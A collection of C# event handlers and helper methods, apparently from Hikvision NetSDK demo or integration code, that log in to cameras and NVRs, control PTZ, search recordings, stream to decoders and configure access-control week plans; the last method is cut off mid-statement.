static HIKVisionRenderableControl() { CHCNetSDK.NET_DVR_Init(); }
private void PtzSet_Click(object sender, EventArgs e) { int flag = 1; float wPanPos, wTiltPos, wZoomPos; String str1, str2, str3; if (comboBox2.Text == "") { MessageBox.Show("Please input the operation type "); } /* wPanPos = ushort.Parse(textBoxPanPos.Text); * wTiltPos = ushort.Parse(textBoxTiltPos.Text); * wZoomPos = ushort.Parse(textBoxZoomPos.Text);*/ switch (comboBox2.Items.IndexOf(comboBox2.Text))//下拉框中的数据 { case 0: if (textBoxPanPos.Text == "" || textBoxTiltPos.Text == "" || textBoxZoomPos.Text == "") { MessageBox.Show("Please input prarameters of P,T,Z: "); return; } else { flag = 0; m_struPtzCfg.wAction = 1; //m_struPtzCfg.wPanPos = ushort.Parse(textBoxPanPos.Text); /* m_struPtzCfg.wPanPos = Convert.ToUInt16(wPanPos); * m_struPtzCfg.wTiltPos = wTiltPos; * m_struPtzCfg.wZoomPos = wZoomPos;*/ /* m_struPtzCfg.wPanPos = Convert.ToUInt16(Convert.ToString(Convert.ToUInt32(Convert.ToString(wPanPos * 10, 16)), 10)); * m_struPtzCfg.wTiltPos = Convert.ToUInt16(Convert.ToString(Convert.ToUInt32(Convert.ToString(wTiltPos*10, 16)), 10)); * m_struPtzCfg.wZoomPos = Convert.ToUInt16(Convert.ToString(Convert.ToUInt32(Convert.ToString(wZoomPos*10, 16)), 10));*/ str1 = Convert.ToString(float.Parse(textBoxPanPos.Text) * 10); m_struPtzCfg.wPanPos = (ushort)(Convert.ToUInt16(str1, 16)); str2 = Convert.ToString(float.Parse(textBoxTiltPos.Text) * 10); m_struPtzCfg.wTiltPos = (ushort)(Convert.ToUInt16(str2, 16)); str3 = Convert.ToString(float.Parse(textBoxZoomPos.Text) * 10); m_struPtzCfg.wZoomPos = (ushort)(Convert.ToUInt16(str3, 16)); /* m_struPtzCfg.wTiltPos = ushort.Parse(textBoxTiltPos.Text); * m_struPtzCfg.wZoomPos = ushort.Parse(textBoxZoomPos.Text);*/ } break; case 1: if (textBoxPanPos.Text == "") { MessageBox.Show("Please input prarameters of P: "); return; } else { flag = 0; m_struPtzCfg.wAction = 2; //wPanPos = float.Parse(textBoxPanPos.Text); str1 = Convert.ToString(float.Parse(textBoxPanPos.Text) * 10); m_struPtzCfg.wPanPos = (ushort)(Convert.ToUInt16(str1, 16)); //m_struPtzCfg.wPanPos = ushort.Parse(textBoxPanPos.Text); } break; case 2: if (textBoxTiltPos.Text == "") { MessageBox.Show("Please input prarameters of T: "); return; } else { flag = 0; m_struPtzCfg.wAction = 3; m_struPtzCfg.wTiltPos = ushort.Parse(textBoxTiltPos.Text); str2 = Convert.ToString(float.Parse(textBoxTiltPos.Text) * 10); m_struPtzCfg.wTiltPos = (ushort)(Convert.ToUInt16(str2, 16)); } break; case 3: if (textBoxZoomPos.Text == "") { MessageBox.Show("Please input prarameters of Z: "); return; } else { flag = 0; m_struPtzCfg.wAction = 4; m_struPtzCfg.wZoomPos = ushort.Parse(textBoxZoomPos.Text); str3 = Convert.ToString(float.Parse(textBoxZoomPos.Text) * 10); m_struPtzCfg.wZoomPos = (ushort)(Convert.ToUInt16(str3, 16)); } break; case 4: if (textBoxTiltPos.Text == "" || textBoxPanPos.Text == "") { MessageBox.Show("Please input prarameters of P,T: "); return; } else { flag = 0; m_struPtzCfg.wAction = 5; m_struPtzCfg.wPanPos = ushort.Parse(textBoxPanPos.Text); m_struPtzCfg.wTiltPos = ushort.Parse(textBoxTiltPos.Text); str1 = Convert.ToString(float.Parse(textBoxPanPos.Text) * 10); m_struPtzCfg.wPanPos = (ushort)(Convert.ToUInt16(str1, 16)); str2 = Convert.ToString(float.Parse(textBoxTiltPos.Text) * 10); m_struPtzCfg.wTiltPos = (ushort)(Convert.ToUInt16(str2, 16)); } break; } while (flag == 0) { Int32 nSize = Marshal.SizeOf(m_struPtzCfg); IntPtr ptrPtzCfg = Marshal.AllocHGlobal(nSize); Marshal.StructureToPtr(m_struPtzCfg, ptrPtzCfg, false); if (!CHCNetSDK.NET_DVR_SetDVRConfig(m_lUserID, CHCNetSDK.NET_DVR_SET_PTZPOS, 1, ptrPtzCfg, (UInt32)nSize)) { iLastErr = CHCNetSDK.NET_DVR_GetLastError(); str = "NET_DVR_SetDVRConfig failed, error code= " + iLastErr; //设置POS参数失败 MessageBox.Show(str); return; } else { MessageBox.Show("设置成功!"); break; } Marshal.FreeHGlobal(ptrPtzCfg); } return; }
private void buttonStart_Click(object sender, EventArgs e) { if (-1 != m_lInfoSynHandle) { if (CHCNetSDK.NET_DVR_StopRemoteConfig(m_lInfoSynHandle)) { m_lInfoSynHandle = -1; } } if (m_bStart) { return; } m_bStart = true; g_fInfoSynCallback = new CHCNetSDK.RemoteConfigCallback(ProcessInfoSynCallback); string sURL = GetRoute(m_command); if (sURL == null) { return; } IntPtr ptrURL = Marshal.StringToHGlobalAnsi(sURL); m_lInfoSynHandle = CHCNetSDK.NET_DVR_StartRemoteConfig(m_lUserID, CHCNetSDK.NET_DVR_JSON_CONFIG, ptrURL, sURL.Length, g_fInfoSynCallback, this.Handle); string strInfoSyn = null; if (m_command == SynInfoCommand.USER_INFO_SYN) { CUserInfoSynCond JsonUserInfoSynCond = new CUserInfoSynCond(); JsonUserInfoSynCond.UserInfoSyncCond = new CUserInfoSynCondContent(); JsonUserInfoSynCond.UserInfoSyncCond.command = "startSync"; JsonUserInfoSynCond.UserInfoSyncCond.maxResults = 30; strInfoSyn = JsonConvert.SerializeObject(JsonUserInfoSynCond); } else { CCardInfoSynCond JsonCardInfoSynCond = new CCardInfoSynCond(); JsonCardInfoSynCond.CardInfoSyncCond = new CCardInfoSynCondContent(); JsonCardInfoSynCond.CardInfoSyncCond.command = "startSync"; JsonCardInfoSynCond.CardInfoSyncCond.maxResults = 30; strInfoSyn = JsonConvert.SerializeObject(JsonCardInfoSynCond); } IntPtr ptrInfoSyn = Marshal.StringToHGlobalAnsi(strInfoSyn); if (!CHCNetSDK.NET_DVR_SendRemoteConfig(m_lInfoSynHandle, (int)CHCNetSDK.LONG_CFG_SEND_DATA_TYPE_ENUM.ENUM_SEND_JSON_DATA, ptrInfoSyn, (uint)strInfoSyn.Length)) { Marshal.FreeHGlobal(ptrInfoSyn); return; } Marshal.FreeHGlobal(ptrInfoSyn); //获取结果 Thread thread = new Thread(new ThreadStart(GetSynResult)); thread.IsBackground = true; thread.Start(); }
/// <summary> /// 关闭实时预览 /// </summary> /// <param name="realHandle">预览句柄</param> /// <returns>true:关闭成功 false:关闭失败</returns> public override bool StopPreview(DeviceInfo deviceInfo) { bool result = CHCNetSDK.NET_DVR_StopRealPlay(deviceInfo.realHandle); return(result); }
protected override void DefWndProc(ref Message m) { switch (m.Msg) { case 1001: int iErrorMsg = m.WParam.ToInt32(); if (iErrorMsg == 1) { ListViewItem listItem = new ListViewItem(); listItem.Text = "Fail"; string strTemp = string.Format("NET_SDK_CALLBACK_STATUS_FAILED"); listItem.SubItems.Add(strTemp); this.AddList(listViewResponse, listItem); } else if (iErrorMsg == 2) { ListViewItem listItem = new ListViewItem(); listItem.Text = "Fail"; string strTemp = string.Format("NET_SDK_CALLBACK_STATUS_EXCEPTION"); listItem.SubItems.Add(strTemp); this.AddList(listViewResponse, listItem); } else if (iErrorMsg == 3) { ListViewItem listItem = new ListViewItem(); listItem.Text = "Fail"; string strTemp = string.Format("NET_SDK_CALLBACK_OTHER_ERROR"); listItem.SubItems.Add(strTemp); this.AddList(listViewResponse, listItem); } else if (iErrorMsg == 4) { ListViewItem listItem = new ListViewItem(); listItem.Text = "Succ"; string strTemp = string.Format("NET_SDK_CALLBACK_FINISH"); listItem.SubItems.Add(strTemp); this.AddList(listViewResponse, listItem); } m_bStart = false; m_bFirst = true; if (-1 != m_lInfoSynHandle) { if (CHCNetSDK.NET_DVR_StopRemoteConfig(m_lInfoSynHandle)) { m_lInfoSynHandle = -1; } } break; case 1002: m_bGetResult = true; break; case 1003: IntPtr ptrResponse = (IntPtr)m.WParam.ToInt32(); string strResponseStatus = Marshal.PtrToStringAnsi(ptrResponse); string strResponse = null; if (m_bFirst) { m_bFirst = false; CResponseStatus JsonResponseStatus = new CResponseStatus(); strResponse = strResponseStatus; m_iCurProgress = 0; } else { if (m_command == SynInfoCommand.USER_INFO_SYN) { CUserInfoSyn JsonResponseStatus = new CUserInfoSyn(); JsonResponseStatus.UserInfoSync = new CUserInfoSynContent(); if (JsonResponseStatus.UserInfoSync != null) { strResponse = JsonConvert.SerializeObject(JsonResponseStatus.UserInfoSync.SyncInfo); m_iCurProgress = JsonResponseStatus.UserInfoSync.progressValue; } else { strResponse = strResponseStatus; } } else { CCardInfoSyn JsonResponseStatus = new CCardInfoSyn(); JsonResponseStatus = JsonConvert.DeserializeObject <CCardInfoSyn>(strResponseStatus); if (JsonResponseStatus.CardInfoSync != null) { strResponse = JsonConvert.SerializeObject(JsonResponseStatus.CardInfoSync.SyncInfo); m_iCurProgress = JsonResponseStatus.CardInfoSync.progressValue; } else { strResponse = strResponseStatus; } } } ListViewItem lvItem = new ListViewItem(); string strTmp = null; lvItem.Text = "Succ"; strTmp = string.Format("Percent:{0}-{1}", m_iCurProgress, strResponse); lvItem.SubItems.Add(strTmp); this.AddList(listViewResponse, lvItem); Marshal.FreeHGlobal(ptrResponse); break; default: base.DefWndProc(ref m); break; } }
private void btnStopDecode_Click(object sender, EventArgs e) { if (comboBoxStreamMode.SelectedIndex == 0) //实时流解码:登录编码器获取实时流然后转发给解码器 { //停止预览 Stop live view if (lRealHandle >= 0) { if (!CHCNetSDK.NET_DVR_StopRealPlay(lRealHandle)) { iLastErr = CHCNetSDK.NET_DVR_GetLastError(); strErr = "NET_DVR_StopRealPlay failed, error code= " + iLastErr; MessageBox.Show(strErr); return; } } //注销登录 Logout the device if (lUserID >= 0) { if (!CHCNetSDK.NET_DVR_Logout(lUserID)) { iLastErr = CHCNetSDK.NET_DVR_GetLastError(); strErr = "NET_DVR_Logout failed, error code= " + iLastErr; MessageBox.Show(strErr); return; } } //停止被动解码 Stop the passive decoding if (!CHCNetSDK.NET_DVR_MatrixStopPassiveDecode(lPassiveHandle)) { iLastErr = CHCNetSDK.NET_DVR_GetLastError(); strErr = "NET_DVR_MatrixStopPassiveDecode failed, error code= " + iLastErr; MessageBox.Show(strErr); return; } lPassiveHandle = -1; MessageBox.Show("Successful to stop the passive decoding!"); } else //文件流解码:读取文件里面的数据发送给解码器 { hExitThread = true; if (hFileHandle != null) { hFileHandle.Close(); hFileHandle = null; } //停止被动解码 Stop the passive decoding if (!CHCNetSDK.NET_DVR_MatrixStopPassiveDecode(lPassiveHandle)) { iLastErr = CHCNetSDK.NET_DVR_GetLastError(); strErr = "NET_DVR_MatrixStopPassiveDecode failed, error code= " + iLastErr; MessageBox.Show(strErr); return; } lPassiveHandle = -1; MessageBox.Show("Successful to stop the passive decoding!"); } }
/// <summary> /// 使用线程登录(使用) /// </summary> public void ThreadLogin() { int iDelay = 0;/*\ 延迟 /*/ while (!m_bTerminated) { if (m_lstLoginInfo.Count == 0) { Thread.Sleep(1000); } else { iDelay = 0; if (m_lstLoginInfo.Count > 0) { for (int i = 0; i < m_lstLoginInfo.Count; i++) { if (m_lstLoginInfo[i].iHandle == -1) { NET_DVR_USER_LOGIN_INFO struLoginInfo = new NET_DVR_USER_LOGIN_INFO(); NET_DVR_DEVICEINFO_V40 devInfor = new NET_DVR_DEVICEINFO_V40(); devInfor.byRes2 = new byte[246]; devInfor.struDeviceV30.sSerialNumber = new byte[48]; devInfor.byRes2 = new byte[246]; devInfor.struDeviceV30.sSerialNumber = new byte[48]; struLoginInfo.sDeviceAddress = m_lstLoginInfo[i].sIp; struLoginInfo.wPort = Convert.ToUInt16(m_lstLoginInfo[i].sPort); //设备服务端口 struLoginInfo.sUserName = m_lstLoginInfo[i].sUser; //设备登录用户名 struLoginInfo.sPassword = m_lstLoginInfo[i].sPass; //设备登录密码 struLoginInfo.bUseAsynLogin = false; //同步登录方式(异步现在设备不在线时会报错,不知道啥原因) struLoginInfo.byLoginMode = 0; //struLoginInfo.byHttps = 2; //m_lstLoginInfo[i].iHandle = HikVideoAPI.NET_HIK_Login_V40(ref struLoginInfo, ref devInfor); m_lstLoginInfo[i].iHandle = CHCNetSDK.NET_DVR_Login_V40(ref struLoginInfo, ref devInfor); //将通道信息和对应的ip存储到list集合中 if (m_lstLoginInfo[i].iHandle >= 0) { CSaveHikChannelInfo oSaveHikChannelInfo = new CSaveHikChannelInfo(); oSaveHikChannelInfo.m_lstHikChannelInfo = new List <NET_DVR_IPPARACFG_V40>(); oSaveHikChannelInfo.m_sStreamIp = m_lstLoginInfo[i].sIp; NET_DVR_IPPARACFG_V40 oIpParaCfgV40 = new NET_DVR_IPPARACFG_V40(); uint dwSize = (uint)Marshal.SizeOf(oIpParaCfgV40); IntPtr ptrIpParaCfgV40 = Marshal.AllocHGlobal((Int32)dwSize); Marshal.StructureToPtr(oIpParaCfgV40, ptrIpParaCfgV40, false); uint dwReturn = 0; //int iGroupNo = 0; //该Demo仅获取第一组64个通道,如果设备IP通道大于64路,需要按组号0~i多次调用NET_DVR_GET_IPPARACFG_V40获取 /*\ 共16组每组64个 /*/ for (int iGroupNo = 0; iGroupNo < 15; iGroupNo++) { if (CHCNetSDK.NET_DVR_GetDVRConfig(m_lstLoginInfo[i].iHandle, CHCNetSDK.NET_DVR_GET_IPPARACFG_V40, iGroupNo, ptrIpParaCfgV40, dwSize, ref dwReturn)) { lock (m_oSingleLock) { oIpParaCfgV40 = (CHCNetSDK.NET_DVR_IPPARACFG_V40)Marshal.PtrToStructure(ptrIpParaCfgV40, typeof(CHCNetSDK.NET_DVR_IPPARACFG_V40)); oSaveHikChannelInfo.m_lstHikChannelInfo.Add(oIpParaCfgV40); m_lstSaveHikChannelInfo.Add(oSaveHikChannelInfo); } } } Marshal.FreeHGlobal(ptrIpParaCfgV40); } } } while (!m_bTerminated) { iDelay++; Thread.Sleep(1000); if (iDelay > 10) { break; } } } } } }
private void btnSendData_Click(object sender, EventArgs e) { if (comboBoxStreamMode.SelectedIndex == 0) //实时流解码:登录编码器获取实时流然后转发给解码器 { string DVRIPAddress = textBoxDevAddr.Text; Int16 DVRPortNumber = Int16.Parse(textBoxDevPort.Text); string DVRUserName = textBoxUserName.Text; string DVRPassword = textBoxPassword.Text; //登录设备 Login the device CHCNetSDK.NET_DVR_DEVICEINFO_V30 m_struDeviceInfo = new CHCNetSDK.NET_DVR_DEVICEINFO_V30(); lUserID = CHCNetSDK.NET_DVR_Login_V30(DVRIPAddress, DVRPortNumber, DVRUserName, DVRPassword, ref m_struDeviceInfo); if (lUserID < 0) { iLastErr = CHCNetSDK.NET_DVR_GetLastError(); strErr = "NET_DVR_Login_V30 failed, error code= " + iLastErr; //登录失败,输出错误号 Failed to login and output the error code MessageBox.Show(strErr); return; } else { CHCNetSDK.NET_DVR_PREVIEWINFO lpPreviewInfo = new CHCNetSDK.NET_DVR_PREVIEWINFO(); lpPreviewInfo.hPlayWnd = IntPtr.Zero; //预览窗口设为NULL,只取流不解码 lpPreviewInfo.lChannel = Int32.Parse(textBoxChannel.Text); //预te览的设备通道 lpPreviewInfo.dwStreamType = (uint)comboBoxStreamType.SelectedIndex; //码流类型:0-主码流,1-子码流,2-码流3,3-码流4,以此类推 lpPreviewInfo.dwLinkMode = (uint)comboBoxRealProtol.SelectedIndex; //连接方式:0- TCP方式,1- UDP方式,2- 多播方式,3- RTP方式,4-RTP/RTSP,5-RSTP/HTTP lpPreviewInfo.bBlocked = true; //0- 非阻塞取流,1- 阻塞取流 CHCNetSDK.REALDATACALLBACK RealData = new CHCNetSDK.REALDATACALLBACK(RealDataCallBack); //预览实时流回调函数 IntPtr pUser = new IntPtr(); //用户数据 //打开预览 Start live view lRealHandle = CHCNetSDK.NET_DVR_RealPlay_V40(lUserID, ref lpPreviewInfo, RealData, pUser); if (lRealHandle < 0) { iLastErr = CHCNetSDK.NET_DVR_GetLastError(); strErr = "NET_DVR_RealPlay_V40 failed, error code= " + iLastErr; //预览失败,输出错误号 Failed to start live view and output the error code MessageBox.Show(strErr); return; } else { //预览取流成功 Success to start live view MessageBox.Show("Start to send the steam data to the decoder!"); } } } else //文件流解码:读取文件里面的数据发送给解码器 { int iDataSize = Int32.Parse(textBoxReadSize.Text); if (iDataSize < 1 || iDataSize > 512) { MessageBox.Show("Please set a applicable value!"); return; } iStreamSize = int.Parse(textBoxReadSize.Text); if (hFileHandle != null) { hFileHandle.Close(); hFileHandle = null; } hFileHandle = new FileStream(textBoxFilePath.Text, FileMode.Open, FileAccess.Read); //打开文件 Open the file if (hFileHandle == null) { return; } int lHandle = lPassiveHandle; filetrd = new Thread(FileThreadTask); //创建读取文件数据的线程(仅供参考) filetrd.IsBackground = true; filetrd.Start((object)lHandle); MessageBox.Show("Start to send the file data to the decoder!"); } }
private void btnSearch_Click(object sender, EventArgs e) { listViewFile.Items.Clear();//清空文件列表 CHCNetSDK.NET_DVR_FILECOND_V40 struFileCond_V40 = new CHCNetSDK.NET_DVR_FILECOND_V40(); struFileCond_V40.lChannel = iChannelNum[(int)iSelIndex]; //通道号 Channel number struFileCond_V40.dwFileType = 0xff; //0xff-全部,0-定时录像,1-移动侦测,2-报警触发,... struFileCond_V40.dwIsLocked = 0xff; //0-未锁定文件,1-锁定文件,0xff表示所有文件(包括锁定和未锁定) //设置录像查找的开始时间 Set the starting time to search video files struFileCond_V40.struStartTime.dwYear = (uint)dateTimeStart.Value.Year; struFileCond_V40.struStartTime.dwMonth = (uint)dateTimeStart.Value.Month; struFileCond_V40.struStartTime.dwDay = (uint)dateTimeStart.Value.Day; struFileCond_V40.struStartTime.dwHour = (uint)dateTimeStart.Value.Hour; struFileCond_V40.struStartTime.dwMinute = (uint)dateTimeStart.Value.Minute; struFileCond_V40.struStartTime.dwSecond = (uint)dateTimeStart.Value.Second; //设置录像查找的结束时间 Set the stopping time to search video files struFileCond_V40.struStopTime.dwYear = (uint)dateTimeEnd.Value.Year; struFileCond_V40.struStopTime.dwMonth = (uint)dateTimeEnd.Value.Month; struFileCond_V40.struStopTime.dwDay = (uint)dateTimeEnd.Value.Day; struFileCond_V40.struStopTime.dwHour = (uint)dateTimeEnd.Value.Hour; struFileCond_V40.struStopTime.dwMinute = (uint)dateTimeEnd.Value.Minute; struFileCond_V40.struStopTime.dwSecond = (uint)dateTimeEnd.Value.Second; //开始录像文件查找 Start to search video files m_lFindHandle = CHCNetSDK.NET_DVR_FindFile_V40(m_lUserID, ref struFileCond_V40); if (m_lFindHandle < 0) { iLastErr = CHCNetSDK.NET_DVR_GetLastError(); str = "NET_DVR_FindFile_V40 failed, error code= " + iLastErr; //预览失败,输出错误号 MessageBox.Show(str); return; } else { CHCNetSDK.NET_DVR_FINDDATA_V30 struFileData = new CHCNetSDK.NET_DVR_FINDDATA_V30();; while (true) { //逐个获取查找到的文件信息 Get file information one by one. int result = CHCNetSDK.NET_DVR_FindNextFile_V30(m_lFindHandle, ref struFileData); if (result == CHCNetSDK.NET_DVR_ISFINDING) //正在查找请等待 Searching, please wait { continue; } else if (result == CHCNetSDK.NET_DVR_FILE_SUCCESS) //获取文件信息成功 Get the file information successfully { str1 = struFileData.sFileName; str2 = Convert.ToString(struFileData.struStartTime.dwYear) + "-" + Convert.ToString(struFileData.struStartTime.dwMonth) + "-" + Convert.ToString(struFileData.struStartTime.dwDay) + " " + Convert.ToString(struFileData.struStartTime.dwHour) + ":" + Convert.ToString(struFileData.struStartTime.dwMinute) + ":" + Convert.ToString(struFileData.struStartTime.dwSecond); str3 = Convert.ToString(struFileData.struStopTime.dwYear) + "-" + Convert.ToString(struFileData.struStopTime.dwMonth) + "-" + Convert.ToString(struFileData.struStopTime.dwDay) + " " + Convert.ToString(struFileData.struStopTime.dwHour) + ":" + Convert.ToString(struFileData.struStopTime.dwMinute) + ":" + Convert.ToString(struFileData.struStopTime.dwSecond); listViewFile.Items.Add(new ListViewItem(new string[] { str1, str2, str3 }));//将查找的录像文件添加到列表中 } else if (result == CHCNetSDK.NET_DVR_FILE_NOFIND || result == CHCNetSDK.NET_DVR_NOMOREFILE) { break; //未查找到文件或者查找结束,退出 No file found or no more file found, search is finished } else { break; } } } }
private void GetEagleChannelAblity()//判断通道码流是否是鹰眼码流 对应的接口命令是 NET_DVR_GET_SINGLE_CHANNELINFO { const uint XML_ABILITY_OUT_LEN = 4 * 1024; IntPtr ptrCoundBuffer; string pOutBuf = "\0"; uint dwcondSize = 0; //[out] dwcondSize = sizeof(int); //CTinyXmlTrans XMLBASE = new CTinyXmlTrans(); uint dwXmlSize = XML_ABILITY_OUT_LEN; if (g_struDeviceInfo[m_iDeviceIndex].pStruChanInfo != null && g_struDeviceInfo[m_iDeviceIndex].iDeviceChanNum > 0) { for (int i = 0; i < g_struDeviceInfo[m_iDeviceIndex].iDeviceChanNum; i++) { if (i >= Configurations.CameraCount) { break; } if (g_struDeviceInfo[m_iDeviceIndex].pStruChanInfo[i + g_struDeviceInfo[m_iDeviceIndex].iGroupNO * 64].iChannelNO > 0) {//存在的通道号 IntPtr m_pXmlOutBuf; m_pXmlOutBuf = Marshal.AllocHGlobal((Int32)XML_ABILITY_OUT_LEN); ptrCoundBuffer = Marshal.AllocHGlobal((int)dwcondSize); int m_lChannel = g_struDeviceInfo[m_iDeviceIndex].pStruChanInfo[i + g_struDeviceInfo[m_iDeviceIndex].iGroupNO * 64].iChannelNO; Marshal.WriteInt32(ptrCoundBuffer, m_lChannel); CHCNetSDK.NET_DVR_STD_CONFIG struCfg = new CHCNetSDK.NET_DVR_STD_CONFIG(); struCfg.lpCondBuffer = ptrCoundBuffer; struCfg.dwCondSize = dwcondSize; struCfg.byDataType = 1; struCfg.lpXmlBuffer = m_pXmlOutBuf; struCfg.dwXmlSize = dwXmlSize; int dwSTDSize = Marshal.SizeOf(struCfg); IntPtr ptrSTDCfg = Marshal.AllocHGlobal(dwSTDSize); Marshal.StructureToPtr(struCfg, ptrSTDCfg, false); bool m_dwReturnValue = CHCNetSDK.NET_DVR_GetSTDConfig(m_lUserID, CHCNetSDK.NET_DVR_GET_SINGLE_CHANNELINFO, ptrSTDCfg); Marshal.FreeHGlobal(ptrCoundBuffer); if (m_dwReturnValue) { int lentemp = (int)dwXmlSize; pOutBuf = Marshal.PtrToStringAnsi(m_pXmlOutBuf, lentemp); //XmlDocument xd = new XmlDocument(); //xd.LoadXml(pOutBuf); ////使用xpath表达式选择文档中所有的student子节点 //XmlNodeList studentNodeList = xd.SelectNodes("ChannelInfo"); using (XmlReader xmlReader = XmlTextReader.Create(new StringReader(pOutBuf))) { try { string parentnode = ""; while (xmlReader.Read()) { switch (xmlReader.NodeType) { case XmlNodeType.Element: if (xmlReader.Name == "ChannelInfo") { parentnode = "ChannelInfo"; if (xmlReader.HasAttributes) { //if (xmlReader.MoveToAttribute("EagleEye")) //{ //} //if (xmlReader.MoveToAttribute("PanoramicMetaData")) //{ //} //if (xmlReader.MoveToAttribute("InsertChanNo")) //{ //} } } if (xmlReader.Name == "EagleEye") { parentnode = "EagleEye"; } if (xmlReader.Name == "PanoramicMetaData") { parentnode = "PanoramicMetaData"; } if (xmlReader.Name == "InsertChanNo" && parentnode == "PanoramicMetaData") { parentnode = "InsertChanNo"; dicChannelType.Add(m_lChannel, EnumChannelType.EagleChannel); } break; } } } catch (Exception ex) { } } //XMLBASE.Parse(pOutBuf); //XMLBASE.SetRoot(); //string XMLStrTemp = XMLBASE.GetChildrenText(); //XMLStrTemp.Replace("\n", "\r\n"); //if (XMLBASE.FindElem("ChannelInfo") && XMLBASE.IntoElem()) //{ // if (XMLBASE.FindElem("EagleEye") && XMLBASE.IntoElem()) // { // if (XMLBASE.FindElem("PanoramicMetaData") && XMLBASE.IntoElem()) // { // if (XMLBASE.FindElem("InsertChanNo")) // { // //string strChannel; // //strChannel = XMLBASE.GetAttributeValue("InsertChanNo"); // dicChannelType.Add(i, EnumChannelType.EagleChannel); // //m_EagleEyeChannelStream = true; // } // } // } //} } else { //m_dwLastError = CHCNetSDK.NET_DVR_GetLastError(); } if (!dicChannelType.ContainsKey(m_lChannel)) { dicChannelType.Add(m_lChannel, EnumChannelType.QiangJiChannel); } Marshal.FreeHGlobal(ptrSTDCfg); Marshal.FreeHGlobal(m_pXmlOutBuf); } } } }
private void btnLogin_Click() { //if (m_lUserID < 0) //{ // iLastErr = CHCNetSDK.NET_DVR_GetLastError(); // str1 = "摄像头未登录NET_DVR_Login_V30 failed, error code= " + iLastErr; //登录失败,输出错误号 // MessageBox.Show(str1); // return; //} //else //{ // //登录成功 // //MessageBox.Show("Login Success!"); // dwAChanTotalNum = (uint)DeviceInfo.byChanNum; // dwDChanTotalNum = (uint)DeviceInfo.byIPChanNum + 256 * (uint)DeviceInfo.byHighDChanNum; // if (dwDChanTotalNum > 0) // { // InfoIPChannel(); // } // else // { // for (i = 0; i < dwAChanTotalNum; i++) // { // ListAnalogChannel(i + 1, 1); // iChannelNum[i] = i + (int)DeviceInfo.byStartChan; // } // // MessageBox.Show("This device has no IP channel!"); // } //} //if (textBoxIP.Text == "" || textBoxPort.Text == "" || // textBoxUserName.Text == "" || textBoxPassword.Text == "") //{ // MessageBox.Show("Please input IP, Port, User name and Password!"); // return; //} if (m_lUserID < 0) { string DVRIPAddress = ConfigurationManager.AppSettings["HKIPNVR"].ToString(); //设备IP地址或者域名 Int16 DVRPortNumber = Int16.Parse(ConfigurationManager.AppSettings["HKPORTNVR"].ToString()); //设备服务端口号 string DVRUserName = ConfigurationManager.AppSettings["HKUSERNAMENVR"].ToString(); //设备登录用户名 string DVRPassword = ConfigurationManager.AppSettings["HKPASSWORDNVR"].ToString(); //设备登录密码 //string DVRIPAddress = //设备IP地址或者域名 //Int16 DVRPortNumber = Int16.Parse(ConfigurationManager.AppSettings["HKPORT"].ToString());//设备服务端口号 //string DVRUserName = ConfigurationManager.AppSettings["HKUSERNAME"].ToString();//设备登录用户名 //string DVRPassword = ConfigurationManager.AppSettings["HKPASSWORD"].ToString();//设备登录密码 // DeviceInfo = new CHCNetSDK.NET_DVR_DEVICEINFO_V30(); //登录设备 Login the device m_lUserID = CHCNetSDK.NET_DVR_Login_V30(DVRIPAddress, DVRPortNumber, DVRUserName, DVRPassword, ref DeviceInfo); if (m_lUserID < 0) { iLastErr = CHCNetSDK.NET_DVR_GetLastError(); str1 = "NET_DVR_Login_V30 failed, error code= " + iLastErr; //登录失败,输出错误号 MessageBox.Show(str1); return; } else { //登录成功 //MessageBox.Show("Login Success!"); dwAChanTotalNum = (uint)DeviceInfo.byChanNum; dwDChanTotalNum = (uint)DeviceInfo.byIPChanNum + 256 * (uint)DeviceInfo.byHighDChanNum; if (dwDChanTotalNum > 0) { InfoIPChannel(); } else { for (i = 0; i < dwAChanTotalNum; i++) { ListAnalogChannel(i + 1, 1); iChannelNum[i] = i + (int)DeviceInfo.byStartChan; } // MessageBox.Show("This device has no IP channel!"); } } } //else //{ // if (m_lPlayHandle >= 0) // { // MessageBox.Show("Please stop playback firstly"); //登出前先停止预览 // return; // } // //注销登录 Logout the device // if (!CHCNetSDK.NET_DVR_Logout(m_lUserID)) // { // iLastErr = CHCNetSDK.NET_DVR_GetLastError(); // str1 = "NET_DVR_Logout failed, error code= " + iLastErr; // MessageBox.Show(str1); // return; // } // listViewIPChannel.Items.Clear();//清空通道列表 // m_lUserID = -1; // btnLogin.Text = "Login"; //} return; }
private void buttonSetWP_Click(object sender, EventArgs e) { AdjustTime(); uint dwCommand = 0; string[] strCommand = { "NET_DVR_SET_WEEK_PLAN_CFG", "NET_DVR_SET_VERIFY_WEEK_PLAN", "NET_DVR_SET_CARD_RIGHT_WEEK_PLAN_V50" }; uint dwReturned = 0; string strTemp = null; if (checkBoxEnableWP.Checked) { m_struPlanCfg.byEnable = 1; } else { m_struPlanCfg.byEnable = 0; } uint dwSize = (uint)Marshal.SizeOf(m_struPlanCfg); m_struPlanCfg.dwSize = dwSize; IntPtr ptrPlanCfg = Marshal.AllocHGlobal((int)dwSize); Marshal.StructureToPtr(m_struPlanCfg, ptrPlanCfg, false); switch (comboBoxDeviceTypeWP.SelectedIndex) { case 0: case 1: if (comboBoxDeviceTypeWP.SelectedIndex == 0) { dwCommand = (uint)CHCNetSDK.NET_DVR_SET_WEEK_PLAN_CFG; } else { dwCommand = (uint)CHCNetSDK.NET_DVR_SET_VERIFY_WEEK_PLAN; } int weekPlanNumberWPIndex; int.TryParse(textBoxWeekPlanNumberWP.Text, out weekPlanNumberWPIndex); if (!CHCNetSDK.NET_DVR_SetDVRConfig(m_lUserID, dwCommand, weekPlanNumberWPIndex, ptrPlanCfg, dwSize)) { Marshal.FreeHGlobal(ptrPlanCfg); strTemp = string.Format("{0} FAIL, ERROR CODE {1}", strCommand[comboBoxDeviceTypeWP.SelectedIndex], CHCNetSDK.NET_DVR_GetLastError()); MessageBox.Show(strTemp); return; } else { strTemp = string.Format("{0}", strCommand[comboBoxDeviceTypeWP.SelectedIndex]); g_formList.AddLog(m_lUserID, AcsDemoPublic.OPERATION_SUCC_T, strTemp); } break; case 2: dwCommand = (uint)CHCNetSDK.NET_DVR_SET_CARD_RIGHT_WEEK_PLAN_V50; uint dwConSize = (uint)Marshal.SizeOf(m_struPlanCond); m_struPlanCond.dwSize = dwConSize; IntPtr ptrPlanCon = Marshal.AllocHGlobal((int)dwConSize); Marshal.StructureToPtr(m_struPlanCond, ptrPlanCon, false); IntPtr ptrDwReturned = Marshal.AllocHGlobal(4); // limited input data guarantee parse success uint.TryParse(textBoxWeekPlanNumberWP.Text, out m_struPlanCond.dwWeekPlanNumber); ushort.TryParse(textBoxLocalControllerIDWP.Text, out 